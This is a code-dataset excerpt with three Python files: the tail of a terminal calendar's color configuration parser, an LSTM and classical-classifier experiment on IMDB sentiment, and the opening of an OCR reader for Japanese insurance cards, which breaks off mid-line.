Exception: invalid color configuration: a:b:c\n >>> p('a_1:')\n Traceback (most recent call last):\n ...\n Exception: unrecognized foreground color: a_1\n >>> p(':B')\n Traceback (most recent call last):\n ...\n Exception: unrecognized background color: b\n \"\"\"\n patt = re.compile(r'^\\s*(?P\\w+)?\\s*:?(?:\\s*(?P\\w+)\\s*)?$')\n m = patt.match(color_config)\n if m is None:\n raise Exception('invalid color configuration: {}'.format(color_config))\n\n assert patt.match('').groups() == (None, None)\n assert patt.match('a').groups() == ('a', None)\n assert patt.match('a:').groups() == ('a', None)\n assert patt.match(':b').groups() == (None, 'b')\n assert patt.match('a:b').groups() == ('a', 'b')\n\n if m.group('fg') is None or m.group('fg').lower() == 'none':\n fg, bright = None, None\n else:\n fg = m.group('fg').lower()\n bright = '1' if fg.upper()==m.group('fg') else '0' # highlight\n\n if m.group('bg') is None or m.group('bg').lower() == 'none':\n bg = None\n else:\n bg = m.group('bg').lower()\n\n if fg is not None and fg not in COLOR_CODE:\n raise Exception('unrecognized foreground color: {}'.format(fg))\n elif bg is not None and bg not in COLOR_CODE:\n raise Exception('unrecognized background color: {}'.format(bg))\n\n assert fg is None or fg in COLOR_CODE\n assert bg is None or bg in COLOR_CODE\n\n seq = lambda *t: '\\033[{}m'.format(\";\".join(t))\n fg_code = lambda c: '3' + COLOR_CODE[c]\n bg_code = lambda c: '4' + COLOR_CODE[c]\n\n if fg is None:\n if bg is None:\n prefix = ''\n elif bg == 'white':\n prefix = seq('0', fg_code('black'), bg_code(bg)) # reverse\n else:\n prefix = seq(bg_code(bg)) # keep foreground setting\n else:\n if bg is None:\n prefix = seq(bright, fg_code(fg)) # keep background setting\n else:\n prefix = seq(bright, fg_code(fg), bg_code(bg))\n return prefix\n\n\nclass TinyCalConfig(Namespace):\n def __init__(self, cfg):\n def get(key, default):\n return get_config_with_type(cfg, key, default)\n\n today = date.today()\n self.today = today\n\n self.col = get('col', 3)\n self.after = get('after', 0)\n self.before = get('before', 0)\n self.wk = get('wk', False)\n self.sep = get('sep', True)\n self.fill = get('fill', False)\n self.year = get('year', today.year)\n self.month = get('month', today.month)\n self.border = get('border', True)\n self.lang = get('lang', 'zh')\n self.start_monday = get('start_monday', False)\n\n if cfg.get('a1b1'):\n self.after = 1\n self.before = 1\n\n if 'year' in cfg and 'month' not in cfg:\n year_month_range = [date(self.year, m, 1) for m in range(1, 13)]\n\n else:\n if 'year' in cfg and 'month' in cfg:\n base_date = date(self.year, self.month, 1)\n else:\n base_date = today\n\n year_month_range = [base_date]\n probe_y = base_date.year\n probe_m = base_date.month\n for i in range(self.before):\n probe_m -= 1\n if probe_m == 0:\n probe_y -= 1\n probe_m = 12\n\n year_month_range.append(date(probe_y, probe_m, 1))\n\n probe_y = base_date.year\n probe_m = base_date.month\n for i in range(self.after):\n probe_m += 1\n if probe_m == 13:\n probe_y += 1\n probe_m = 1\n\n year_month_range.append(date(probe_y, probe_m, 1))\n\n year_month_range.sort()\n self.range = year_month_range\n self.col = min(len(self.range), self.col)\n\n self.color = Namespace()\n self.color.enable = get('color', True)\n if self.color.enable:\n self.color.wk = parse_color_config(get('wk.color', 'BLACK'))\n self.color.fill = parse_color_config(get('fill.color', 'BLACK'))\n self.color.title = parse_color_config(get('title.color', ''))\n\n color_weekday_base = get('weekday.color', '')\n color_weekday_sun = merge_color_config(color_weekday_base, get('weekday.sunday.color', ''))\n color_weekday_mon = merge_color_config(color_weekday_base, get('weekday.monday.color', ''))\n color_weekday_tue = merge_color_config(color_weekday_base, get('weekday.tuesday.color', ''))\n color_weekday_wed = merge_color_config(color_weekday_base, get('weekday.wednesday.color', ''))\n color_weekday_thu = merge_color_config(color_weekday_base, get('weekday.thursday.color', ''))\n color_weekday_fri = merge_color_config(color_weekday_base, get('weekday.friday.color', ''))\n color_weekday_sat = merge_color_config(color_weekday_base, get('weekday.saturday.color', ''))\n self.color.weekday = {}\n self.color.weekday[BASE] = parse_color_config(color_weekday_base)\n self.color.weekday[SUNDAY] = parse_color_config(color_weekday_sun)\n self.color.weekday[MONDAY] = parse_color_config(color_weekday_mon)\n self.color.weekday[TUESDAY] = parse_color_config(color_weekday_tue)\n self.color.weekday[WEDNESDAY] = parse_color_config(color_weekday_wed)\n self.color.weekday[THURSDAY] = parse_color_config(color_weekday_thu)\n self.color.weekday[FRIDAY] = parse_color_config(color_weekday_fri)\n self.color.weekday[SATURDAY] = parse_color_config(color_weekday_sat)\n\n color_day = {}\n color_day[SUNDAY] = get('sunday.color', '')\n color_day[MONDAY] = get('monday.color', '')\n color_day[TUESDAY] = get('tuesday.color', '')\n color_day[WEDNESDAY] = get('wednesday.color', '')\n color_day[THURSDAY] = get('thursday.color', '')\n color_day[FRIDAY] = get('friday.color', '')\n color_day[SATURDAY] = get('saturday.color', '')\n self.color.day = {}\n self.color.day[SUNDAY] = parse_color_config(color_day[SUNDAY])\n self.color.day[MONDAY] = parse_color_config(color_day[MONDAY])\n self.color.day[TUESDAY] = parse_color_config(color_day[TUESDAY])\n self.color.day[WEDNESDAY] = parse_color_config(color_day[WEDNESDAY])\n self.color.day[THURSDAY] = parse_color_config(color_day[THURSDAY])\n self.color.day[FRIDAY] = parse_color_config(color_day[FRIDAY])\n self.color.day[SATURDAY] = parse_color_config(color_day[SATURDAY])\n\n color_day_today = merge_color_config(\n color_day[today.weekday()],\n get('today.color', ':white'),\n )\n self.color.today = parse_color_config(color_day_today)\n else:\n self.color.wk = ''\n self.color.fill = ''\n self.color.title = ''\n self.color.weekday = {}\n self.color.weekday[BASE] = ''\n self.color.weekday[SUNDAY] = ''\n self.color.weekday[MONDAY] = ''\n self.color.weekday[TUESDAY] = ''\n self.color.weekday[WEDNESDAY] = ''\n self.color.weekday[THURSDAY] = ''\n self.color.weekday[FRIDAY] = ''\n self.color.weekday[SATURDAY] = ''\n self.color.day = {}\n self.color.day[SUNDAY] = ''\n self.color.day[MONDAY] = ''\n self.color.day[TUESDAY] = ''\n self.color.day[WEDNESDAY] = ''\n self.color.day[THURSDAY] = ''\n self.color.day[FRIDAY] = ''\n self.color.day[SATURDAY] = ''\n self.color.today = ''\n","sub_path":"tinycal/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":10052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"473179987","text":"from __future__ import print_function\nimport pickle\nimport sys\nimport time\nimport copy\nimport re\nimport os\nfrom multiprocessing import Pool\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.utils.data as Data\nfrom torch.autograd import Variable\n# from thundersvm import SVC\nfrom sklearn.svm import SVC\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\nfrom lightgbm import LGBMClassifier\nfrom torch.utils.data import Dataset\nfrom torchnlp.datasets import imdb_dataset\nfrom nltk.tokenize import word_tokenize\n\n\nargs = {}\nkwargs = {}\nemb_size = 256\nes_thd = int(sys.argv[2])\nn = int(sys.argv[1])\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\nprint(\"using\", device)\n\nargs[\"batch_size\"] = 64\nargs[\"epochs\"] = 50\nargs[\"lr\"] = 1e-3\nargs[\"seed\"] = 5487\n\ntorch.manual_seed(args[\"seed\"])\n\n\nclass Embedding:\n \"\"\"\n Args:\n embedding_path (str): Path where embedding are loaded from (text file).\n words (None or list): If not None, only load embedding of the words in\n the list.\n oov_as_unk (bool): If argument `words` are provided, whether or not\n treat words in `words` but not in embedding file as ``. If\n true, OOV will be mapped to the index of ``. Otherwise,\n embedding of those OOV will be randomly initialize and their\n indices will be after non-OOV.\n lower (bool): Whether or not lower the words.\n rand_seed (int): Random seed for embedding initialization.\n \"\"\"\n\n def __init__(self, embedding_path, words=None, oov_as_unk=True, lower=True, rand_seed=42):\n self.word_dict = {}\n self.vectors = None\n self.lower = lower\n self.extend(embedding_path, words, oov_as_unk)\n torch.manual_seed(rand_seed)\n\n if \"\" not in self.word_dict:\n self.add(\"\", torch.zeros(self.get_dim()))\n\n if \"\" not in self.word_dict:\n t_tensor = torch.rand((1, self.get_dim()), dtype=torch.float)\n torch.nn.init.orthogonal_(t_tensor)\n self.add(\"\", t_tensor)\n\n if \"\" not in self.word_dict:\n t_tensor = torch.rand((1, self.get_dim()), dtype=torch.float)\n torch.nn.init.orthogonal_(t_tensor)\n self.add(\"\", t_tensor)\n\n if \"\" not in self.word_dict:\n self.add(\"\")\n\n def to_index(self, word):\n \"\"\"\n Args:\n word (str)\n\n Return:\n index of the word. If the word is not in `words` and not in the\n embedding file, then index of `` will be returned.\n \"\"\"\n if self.lower:\n word = word.lower()\n\n if word not in self.word_dict:\n return self.word_dict[\"\"]\n else:\n return self.word_dict[word]\n\n def get_dim(self):\n return self.vectors.shape[1]\n\n def get_vocabulary_size(self):\n return self.vectors.shape[0]\n\n def add(self, word, vector=None):\n if self.lower:\n word = word.lower()\n\n if vector is not None:\n vector = vector.view(1, -1)\n else:\n vector = torch.empty(1, self.get_dim())\n torch.nn.init.uniform_(vector)\n self.vectors = torch.cat([self.vectors, vector], 0)\n self.word_dict[word] = len(self.word_dict)\n\n def extend(self, embedding_path, words, oov_as_unk=True):\n self._load_embedding(embedding_path, words)\n\n if words is not None and not oov_as_unk:\n # initialize word vector for OOV\n for word in words:\n if self.lower:\n word = word.lower()\n\n if word not in self.word_dict:\n self.word_dict[word] = len(self.word_dict)\n\n oov_vectors = torch.nn.init.uniform_(\n torch.empty(len(self.word_dict) - self.vectors.shape[0], self.vectors.shape[1])\n )\n\n self.vectors = torch.cat([self.vectors, oov_vectors], 0)\n\n def _load_embedding(self, embedding_path, words):\n if words is not None:\n words = set(words)\n\n vectors = []\n\n with open(embedding_path) as fp:\n\n row1 = fp.readline()\n # if the first row is not header\n if not re.match(\"^[0-9]+ [0-9]+$\", row1):\n # seek to 0\n fp.seek(0)\n # otherwise ignore the header\n\n for i, line in enumerate(fp):\n cols = line.rstrip().split(\" \")\n word = cols[0]\n\n # skip word not in words if words are provided\n if words is not None and word not in words:\n continue\n elif word not in self.word_dict:\n self.word_dict[word] = len(self.word_dict)\n vectors.append([float(v) for v in cols[1:]])\n\n vectors = torch.tensor(vectors)\n if self.vectors is not None:\n self.vectors = torch.cat([self.vectors, vectors], dim=0)\n else:\n self.vectors = vectors\n\n\nclass IMDBDataset(Dataset):\n def __init__(self, mode=\"train_d\", num_class=2):\n\n if mode == \"train_d\":\n self.data = imdb_dataset(train=True, test=False)\n\n if os.path.exists(\"data/imdb_embedding.pkl\"):\n with open(\"data/imdb_embedding.pkl\", \"rb\") as fin:\n self.embedder = pickle.load(fin)\n else:\n # collect word\n def collect_words(data, n_workers=4):\n sent_list = []\n for i in data:\n sent_list += [i[\"text\"]]\n\n chunks = [\n \" \".join(sent_list[i: i + len(sent_list) // n_workers])\n for i in range(0, len(sent_list), len(sent_list) // n_workers)\n ]\n with Pool(n_workers) as pool:\n chunks = pool.map_async(word_tokenize, chunks)\n words = set(sum(chunks.get(), []))\n\n return words\n\n words = set()\n words |= collect_words(self.data)\n print(f\"{len(words)} words collected...\")\n\n PAD_TOKEN = 0\n UNK_TOKEN = 1\n word_dict = {\"\": PAD_TOKEN, \"\": UNK_TOKEN}\n for word in words:\n word_dict[word] = len(word_dict)\n\n self.embedder = Embedding(\"data/glove.6B.300d.txt\", words)\n\n with open(\"data/imdb_embedding.pkl\", \"wb\") as fout:\n pickle.dump(self.embedder, fout)\n\n elif mode == \"test\" or mode == \"valid\":\n self.data = imdb_dataset(train=False, test=True)\n\n with open(\"data/imdb_embedding.pkl\", \"rb\") as fin:\n self.embedder = pickle.load(fin)\n else:\n raise NotImplementedError\n\n self.num_class = num_class\n self.max_len = 1100\n\n @property\n def vocabulary_size(self):\n return self.embedder.get_vocabulary_size()\n\n @property\n def embedding_dim(self):\n return self.embedder.get_dim()\n\n def label_to_onehot(self, labels):\n if labels == \"pos\":\n return 1\n else:\n return 0\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, index):\n return {\n \"X\": [self.embedder.to_index(word) for word in word_tokenize(self.data[index][\"text\"])],\n \"y\": self.label_to_onehot(self.data[index][\"sentiment\"]),\n }\n\n def collate_fn(self, datas):\n # get max length in this batch\n max_len = min(max([len(data[\"X\"]) for data in datas]), self.max_len)\n batch_X = [\n data[\"X\"][:max_len]\n if len(data[\"X\"]) > max_len\n else data[\"X\"] + [self.embedder.to_index(\"\")] * (max_len - len(data[\"X\"]))\n for data in datas\n ]\n batch_y = [data[\"y\"] for data in datas]\n\n return torch.LongTensor(batch_X), torch.LongTensor(batch_y)\n\n\ndef get_imdb():\n train_data = IMDBDataset(mode=\"train_d\")\n train_dataloader = torch.utils.data.DataLoader(\n train_data,\n batch_size=args[\"batch_size\"],\n shuffle=True,\n num_workers=8,\n collate_fn=train_data.collate_fn,\n )\n valid_data = IMDBDataset(mode=\"valid\")\n valid_dataloader = torch.utils.data.DataLoader(\n valid_data,\n batch_size=args[\"batch_size\"] * 2,\n shuffle=False,\n num_workers=8,\n collate_fn=valid_data.collate_fn,\n )\n\n return train_dataloader, valid_dataloader\n\n\n# ### model\n# ***\nclass LSTMNet(nn.Module):\n def __init__(self, embedding, emb_size, n_classes=2):\n super(LSTMNet, self).__init__()\n self.hidden_dim = emb_size\n self.output_dim = 256\n self.n_classes = n_classes\n self.embedding = nn.Embedding(\n embedding.get_vocabulary_size(), embedding.get_dim(), _weight=embedding.vectors\n )\n self.encoder = nn.LSTM(\n embedding.get_dim(), self.output_dim, bidirectional=True, batch_first=True\n )\n self.bn = nn.BatchNorm1d(self.output_dim * 2)\n self.fc1 = nn.Linear(self.output_dim * 2, self.hidden_dim)\n self.cls = nn.Linear(self.hidden_dim, self.n_classes)\n\n def forward(self, x, return_embs=False):\n z = self.extract_emb(x)\n x = self.classify(z)\n\n if return_embs:\n return x, z\n return x\n\n def extract_emb(self, x):\n x = self.embedding(x)\n x, (_, _) = self.encoder(x)\n x = torch.max(x, dim=1)[0]\n x = self.bn(F.relu(x))\n x = self.fc1(x)\n\n return x\n\n def classify(self, x):\n return self.cls(x)\n\n\n# linear\nclass LNet(nn.Module):\n def __init__(self, emb_size, out_size):\n super(LNet, self).__init__()\n self.cls = nn.Linear(emb_size, out_size)\n\n def forward(self, x):\n return self.cls(x)\n\n\n# MLP\nclass FC(nn.Module):\n def __init__(self, in_size, out_size):\n super(FC, self).__init__()\n self.linear = nn.Linear(in_size, out_size)\n self.relu = nn.ReLU(inplace=True)\n\n def forward(self, x):\n return self.relu(self.linear(x))\n\n\nclass MLP(nn.Module):\n def __init__(self, in_size, mid_size, out_size):\n super(MLP, self).__init__()\n self.fc = FC(in_size, mid_size)\n self.linear = nn.Linear(mid_size, out_size)\n\n def forward(self, x):\n return self.linear(self.fc(x))\n\n\ndef train(epoch, model, optimizer):\n print(\"Epoch:\", epoch)\n model.train()\n criterion = nn.CrossEntropyLoss()\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n data, target = Variable(data), Variable(target)\n optimizer.zero_grad()\n output = model(data)\n loss = criterion(output, target)\n loss.backward()\n optimizer.step()\n\n\ndef test(model, task_id):\n model.eval()\n with torch.no_grad():\n correct = 0\n for data, target in test_loader:\n data, target = (\n data.to(device),\n target.to(device),\n )\n data, target = Variable(data), Variable(target)\n output = model(data)\n pred = output.data.max(1, keepdim=True)[1].view(-1)\n correct += sum((pred == target).tolist())\n print(\"Accuracy:\", correct / len(test_loader.dataset))\n return correct\n\n\ndef test2(model):\n model.eval()\n with torch.no_grad():\n correct = 0\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n data, target = Variable(data), Variable(target)\n output = model(data)\n pred = output.data.max(1, keepdim=True)[1].view(-1)\n correct += sum((pred == target).tolist())\n print(\"Accuracy:\", correct / len(test_loader.dataset))\n return correct\n\n\ndef extract_embedding(model, data_loader):\n ret = {\"embedding\": [], \"target\": [[] for _ in range(3)]}\n model.eval()\n with torch.no_grad():\n for data, target in data_loader:\n data = Variable(data.to(device))\n output = model.extract_emb(data)\n ret[\"embedding\"] += output.tolist()\n ret[\"target\"][0] += [t for t in target.view(-1).tolist()]\n return ret\n\n\nmodel_module = LSTMNet\nscores = np.array(\n [[[[0.0 for _ in range(8)] for _ in range(n)] for _ in range(3)] for _ in range(2)]\n)\n\nfor i in range(n):\n print(\"round:\", i)\n t0 = time.time()\n # train first model\n print(\"train first model\")\n train_loader, test_loader = get_imdb()\n\n model1 = model_module(train_loader.dataset.embedder, emb_size).to(device)\n optimizer1 = optim.Adam(model1.parameters(), lr=args[\"lr\"], weight_decay=5e-4)\n lr_scheduler = optim.lr_scheduler.ReduceLROnPlateau(\n optimizer1, factor=0.3, patience=3, verbose=True\n )\n\n patience = es_thd\n best_acc = 0\n best_model = None\n\n for epoch in range(1, args[\"epochs\"] + 1):\n train(epoch, model1, optimizer1)\n correct = test(model1, task_id=0)\n lr_scheduler.step(-1 * correct / len(test_loader.dataset))\n if correct / len(test_loader.dataset) > best_acc:\n patience = es_thd\n best_acc = correct / len(test_loader.dataset)\n best_model = model_module(train_loader.dataset.embedder, emb_size)\n best_model.load_state_dict(copy.deepcopy(model1.state_dict()))\n else:\n patience -= 1\n if patience <= 0:\n print(\"Early stopping!\")\n break\n\n # restore best model\n model1 = model_module(train_loader.dataset.embedder, emb_size)\n model1.load_state_dict(copy.deepcopy(best_model.state_dict()))\n model1.to(device)\n\n for task_id in range(1):\n scores[0][task_id][i][0] = test(model1, task_id=task_id) / len(test_loader.dataset)\n # save data for other CLSs\n print(\"extract embedding\")\n emb_train = extract_embedding(model1, train_loader)\n emb_test = extract_embedding(model1, test_loader)\n data = {\n \"train_x\": np.array(emb_train[\"embedding\"]),\n \"train_y\": np.array(emb_train[\"target\"]),\n \"test_x\": np.array(emb_test[\"embedding\"]),\n \"test_y\": np.array(emb_test[\"target\"]),\n }\n\n # train CLSs\n print(\"train CLSs\")\n model_ls = []\n model_mlps = []\n cls_lsvms = []\n cls_svms = []\n cls_dts = []\n cls_rfs = []\n cls_lgbs = []\n out_size = {0: 10, 1: 2, 2: 3}\n lr = 1e-3\n epochs = 10\n\n for task_id in range(1):\n print(\"task:\", task_id)\n # training & testing data\n train_x, train_y = (\n torch.FloatTensor(data[\"train_x\"]),\n torch.LongTensor(data[\"train_y\"][task_id]),\n )\n test_x, test_y = (\n torch.FloatTensor(data[\"test_x\"]),\n torch.LongTensor(data[\"test_y\"][task_id]),\n )\n train_loader = torch.utils.data.DataLoader(\n Data.TensorDataset(train_x, train_y),\n batch_size=args[\"batch_size\"],\n num_workers=4,\n shuffle=True,\n **kwargs,\n )\n test_loader = torch.utils.data.DataLoader(\n Data.TensorDataset(test_x, test_y),\n batch_size=args[\"batch_size\"] * 2,\n num_workers=4,\n shuffle=False,\n **kwargs,\n )\n\n # linear\n model_l = LNet(emb_size, out_size[task_id]).to(device)\n optimizer = optim.Adam(model_l.parameters(), lr=lr)\n patience = es_thd\n best_acc = 0\n best_model = None\n\n for epoch in range(1, epochs + 1):\n train(epoch, model_l, optimizer)\n correct = test2(model_l)\n if correct / len(test_loader.dataset) > best_acc:\n patience = es_thd\n best_acc = correct / len(test_loader.dataset)\n best_model = LNet(emb_size, out_size[task_id])\n best_model.load_state_dict(copy.deepcopy(model_l.state_dict()))\n else:\n patience -= 1\n if patience <= 0:\n break\n\n # restore best model\n model_l = LNet(emb_size, out_size[task_id])\n model_l.load_state_dict(copy.deepcopy(best_model.state_dict()))\n model_l.to(device)\n\n scores[0][task_id][i][1] = correct / len(test_loader.dataset)\n model_ls.append(model_l)\n\n # MLP\n model_mlp = MLP(emb_size, (emb_size + out_size[task_id]) // 2, out_size[task_id]).to(device)\n optimizer = optim.Adam(model_mlp.parameters(), lr=lr)\n patience = es_thd\n best_acc = 0\n best_model = None\n\n for epoch in range(1, epochs + 1):\n train(epoch, model_mlp, optimizer)\n correct = test2(model_mlp)\n if correct / len(test_loader.dataset) > best_acc:\n patience = es_thd\n best_acc = correct / len(test_loader.dataset)\n best_model = MLP(emb_size, (emb_size + out_size[task_id]) // 2, out_size[task_id])\n best_model.load_state_dict(copy.deepcopy(model_mlp.state_dict()))\n else:\n patience -= 1\n if patience <= 0:\n break\n\n # restore best model\n model_mlp = MLP(emb_size, (emb_size + out_size[task_id]) // 2, out_size[task_id])\n model_mlp.load_state_dict(copy.deepcopy(best_model.state_dict()))\n model_mlp.to(device)\n\n scores[0][task_id][i][2] = correct / len(test_loader.dataset)\n model_mlps.append(model_mlp)\n\n # linear svm\n cls_lsvm = SVC(kernel=\"linear\", random_state=args[\"seed\"])\n cls_lsvm.fit(data[\"train_x\"], data[\"train_y\"][task_id])\n _valid_score = cls_lsvm.score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[0][task_id][i][3] = _valid_score\n cls_lsvms.append(cls_lsvm)\n print(f\"Linear SVM test acc: {_valid_score:.5f}\")\n\n # svm\n cls_svm = SVC(random_state=args[\"seed\"])\n cls_svm.fit(data[\"train_x\"], data[\"train_y\"][task_id])\n _valid_score = cls_svm.score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[0][task_id][i][4] = _valid_score\n cls_svms.append(cls_svm)\n print(f\"SVM test acc: {_valid_score:.5f}\")\n\n # decision tree\n cls_dt = DecisionTreeClassifier(random_state=args[\"seed\"])\n cls_dt.fit(data[\"train_x\"], data[\"train_y\"][task_id])\n _valid_score = cls_dt.score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[0][task_id][i][5] = _valid_score\n cls_dts.append(cls_dt)\n print(f\"Decision Tree test acc: {_valid_score:.5f}\")\n\n # random forest\n cls_rf = RandomForestClassifier(n_estimators=10, random_state=args[\"seed\"], n_jobs=8)\n cls_rf.fit(data[\"train_x\"], data[\"train_y\"][task_id])\n _valid_score = cls_rf.score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[0][task_id][i][6] = _valid_score\n cls_rfs.append(cls_rf)\n print(f\"Random Forest test acc: {_valid_score:.5f}\")\n\n # lgb\n cls_lgb = LGBMClassifier(random_state=args[\"seed\"], n_jobs=8)\n cls_lgb.fit(\n data[\"train_x\"],\n data[\"train_y\"][task_id],\n eval_set=[(data[\"test_x\"], data[\"test_y\"][task_id])],\n early_stopping_rounds=100,\n verbose=100,\n )\n _valid_pred = cls_lgb.predict(data[\"test_x\"])\n _valid_score = sum(_valid_pred == data[\"test_y\"][task_id]) / len(_valid_pred)\n scores[0][task_id][i][7] = _valid_score\n cls_lgbs.append(cls_lgb)\n print(f\"LightGBM test acc: {_valid_score:.5f}\")\n\n # train second model with first model's CLS\n print(\"train second model\")\n train_loader, test_loader = get_imdb()\n model2 = model_module(train_loader.dataset.embedder, emb_size).to(device)\n optimizer2 = optim.Adam(\n filter(lambda p: p.requires_grad, model2.parameters()), lr=args[\"lr\"], weight_decay=5e-4\n )\n lr_scheduler = optim.lr_scheduler.ReduceLROnPlateau(\n optimizer2, factor=0.3, patience=3, verbose=True\n )\n\n patience = es_thd\n best_acc = 0\n best_model = None\n\n for epoch in range(1, args[\"epochs\"] + 1):\n train(epoch, model2, optimizer2)\n correct = test(model2, task_id=0)\n lr_scheduler.step(-1 * correct / len(test_loader.dataset))\n if correct / len(test_loader.dataset) > best_acc:\n patience = es_thd\n best_acc = correct / len(test_loader.dataset)\n best_model = model_module(train_loader.dataset.embedder, emb_size)\n best_model.load_state_dict(copy.deepcopy(model2.state_dict()))\n else:\n patience -= 1\n if patience <= 0:\n print(\"Early stopping!\")\n break\n\n # restore best model\n model2 = model_module(train_loader.dataset.embedder, emb_size)\n model2.load_state_dict(copy.deepcopy(best_model.state_dict()))\n model2.to(device)\n\n for task_id in range(1):\n scores[1][task_id][i][0] = test(model2, task_id=task_id) / len(test_loader.dataset)\n # save data for other CLSs\n print(\"extract embedding\")\n emb_test = extract_embedding(model2, test_loader)\n data = {\"test_x\": np.array(emb_test[\"embedding\"]), \"test_y\": np.array(emb_test[\"target\"])}\n\n # test CLSs\n print(\"test CLSs\")\n for task_id in range(1):\n print(\"task:\", task_id)\n # embedding\n test_x, test_y = (\n torch.FloatTensor(data[\"test_x\"]),\n torch.LongTensor(data[\"test_y\"][task_id]),\n )\n test_loader = torch.utils.data.DataLoader(\n Data.TensorDataset(test_x, test_y),\n batch_size=args[\"batch_size\"] * 2,\n shuffle=False,\n **kwargs,\n )\n\n # linear\n correct = test2(model_ls[task_id])\n scores[1][task_id][i][1] = correct / len(test_loader.dataset)\n\n # MLP\n correct = test2(model_mlps[task_id])\n scores[1][task_id][i][2] = correct / len(test_loader.dataset)\n\n # svm\n _valid_score = cls_lsvms[task_id].score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[1][task_id][i][3] = _valid_score\n print(f\"Linear SVM test acc:{_valid_score:.5f}\")\n\n # svm\n _valid_score = cls_svms[task_id].score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[1][task_id][i][4] = _valid_score\n print(f\"SVM test acc:{_valid_score:.5f}\")\n\n # decision tree\n _valid_score = cls_dts[task_id].score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[1][task_id][i][5] = _valid_score\n print(f\"Decision Tree test acc:{_valid_score:.5f}\")\n\n # random forest\n _valid_score = cls_rfs[task_id].score(data[\"test_x\"], data[\"test_y\"][task_id])\n scores[1][task_id][i][6] = _valid_score\n print(f\"Random Forest test acc:{_valid_score:.5f}\")\n\n # lgb\n _valid_pred = cls_lgbs[task_id].predict(data[\"test_x\"])\n _valid_score = sum(_valid_pred == data[\"test_y\"][task_id]) / len(_valid_pred)\n scores[1][task_id][i][7] = _valid_score\n print(f\"LightGBM test acc:{_valid_score:.5f}\")\n\n t = round(time.time() - t0)\n print(\"time consumed: {} min {} sec\".format(t // 60, t % 60))\n\n pickle.dump(scores, open(\"scores_lstm_d256_v22_nofix.pkl\", \"wb\"))\n","sub_path":"entry/normal_framework/lstm_imdb.py","file_name":"lstm_imdb.py","file_ext":"py","file_size_in_byte":23409,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"402278966","text":"\"\"\"App that extracts information from insurance card image\n\"\"\"\nfrom pathlib import Path\nimport pickle\nimport logging\nfrom typing import Any\nimport cv2\nimport numpy as np\nfrom ..utils.image import get_rect, get_chips, rotate_if_necessary, merge, rotate\nfrom ..utils.general import group_lines\nfrom ..utils.text import fuzzy_match, clean_half_width\n\n\nINSURANCE_WORDS = [\n '保険',\n '共済',\n '受給',\n '公費',\n '高齢',\n '限度額',\n '資格取得',\n '番号',\n '記号',\n]\n\nKOUHI_WORDS = [\n '公費',\n 'ひとり親',\n '子育て支援',\n '指定難病',\n '心身障害者医療',\n]\n\nGENDO_WORDS = [\n '限度額認証',\n '限度額適用'\n]\n\nKOUREI_WORDS = [\n '高齢',\n '髙齢',\n '高齡',\n '髙齡',\n]\n\nclass InsuranceReader:\n \"\"\"OCR-based reader for insurance card.\n\n This is the class one uses to extract information in key-value pairs from\n insurance card images. It integrates modules that acutcally do OCR and\n key information extraction, thus requires corresponding instances during\n instantiation. All information has already been extracted when ocr_sync\n if done, and extract_info simply serves as an API that can be used by\n other packages.\n\n Typical usage example:\n >>> reader = InsuranceReader(\n >>> model_server = a_client_of_model_server,\n >>> analyzers = {\"a\": analyzer_for_a, \"b\": analyzer_for_b},\n >>> logger = python_logger\n >>> )\n >>> syukbn = reader.ocr_sync(sess_id=\"123\", img=img)\n >>> print(syukbn)\n 主保険\n >>> hknja_num = reader.extract_info(\"HknjaNum\")\n >>> print(hknja_num)\n 12345678\n >>> bdate = reader.extract_info(\"Birthday\")\n >>> print(bdate)\n 20210401\n\n Args:\n model_server: An instance of `model_serving.client.Client`\n analyzers: A dict of analyzers to extract infomation\n from OCR results. Keys are possible values of syukbn that can be\n returned by ocr_sync. Information extraction will be skipped if\n there is no corresponding analyzer for a syukbn.\n logger: A logging.Logger\n \"\"\"\n def __init__(self,\n model_server: Any,\n analyzers: dict,\n logger: logging.Logger):\n self.model_server = model_server\n self.logger = logger\n self.root_folder = Path(__file__).resolve().parent.parent\n with open(str(self.root_folder / 'id2char_std.pkl'), 'rb') as f:\n self.id2char = pickle.load(f)\n # standard charset\n assert len(self.id2char) == 7549\n self.is_portrait = False\n self.img = None\n self.info = {}\n self.syukbn = 'Uknown'\n self.session_id = 'init_id'\n self.min_wh_ratio = 0.5\n self.analyzers = analyzers\n self.pth = 0.5\n\n def prefetch_hknjanum(self):\n \"\"\"Extracts 保険者番号\"\"\"\n hknjanum = self.analyzers[\"主保険\"].finders[\"HknjaNum\"].extract(self.texts)\n if hknjanum is None: hknjanum = \"\"\n return hknjanum\n\n def read_page_sync(self, img: np.ndarray, layout: str = None) -> list:\n \"\"\"Reads text from an image and group results in textlines.\n\n Args:\n img: Image to run OCR on\n layout: Layout (portrait/landscape) based on which a text detection\n model is chosen\n\n Returns:\n OCR results in a list. Each element contains bounding box and recognized\n text for a line.\n \"\"\"\n recog_results = []\n\n # check layout\n if img.shape[0] > img.shape[1]:\n self.is_portrait = True\n layout = 'portrait'\n else:\n self.is_portrait = False\n layout = 'landscape'\n\n # detect text\n det_res = self.model_server.infer_sync(\n sess_id=self.sess_id, network='Det',\n img=img,\n layout=layout,\n suppress_lines=False,\n check_local=False\n )\n if 'lines' in det_res:\n lines = det_res['lines']\n else:\n return det_res\n\n # abort if less than 2 text boxes are detected\n if lines.shape[0] < 2:\n self.logger.info(f'{lines.shape[0]} text boxes detected')\n return np.array([]), recog_results\n\n # filter out invalid boxes\n lines[lines < 0] = 0\n self.logger.debug(f'Detected text boxes b4 wh ratio filter: {len(lines)}')\n text_boxes = get_rect(lines, 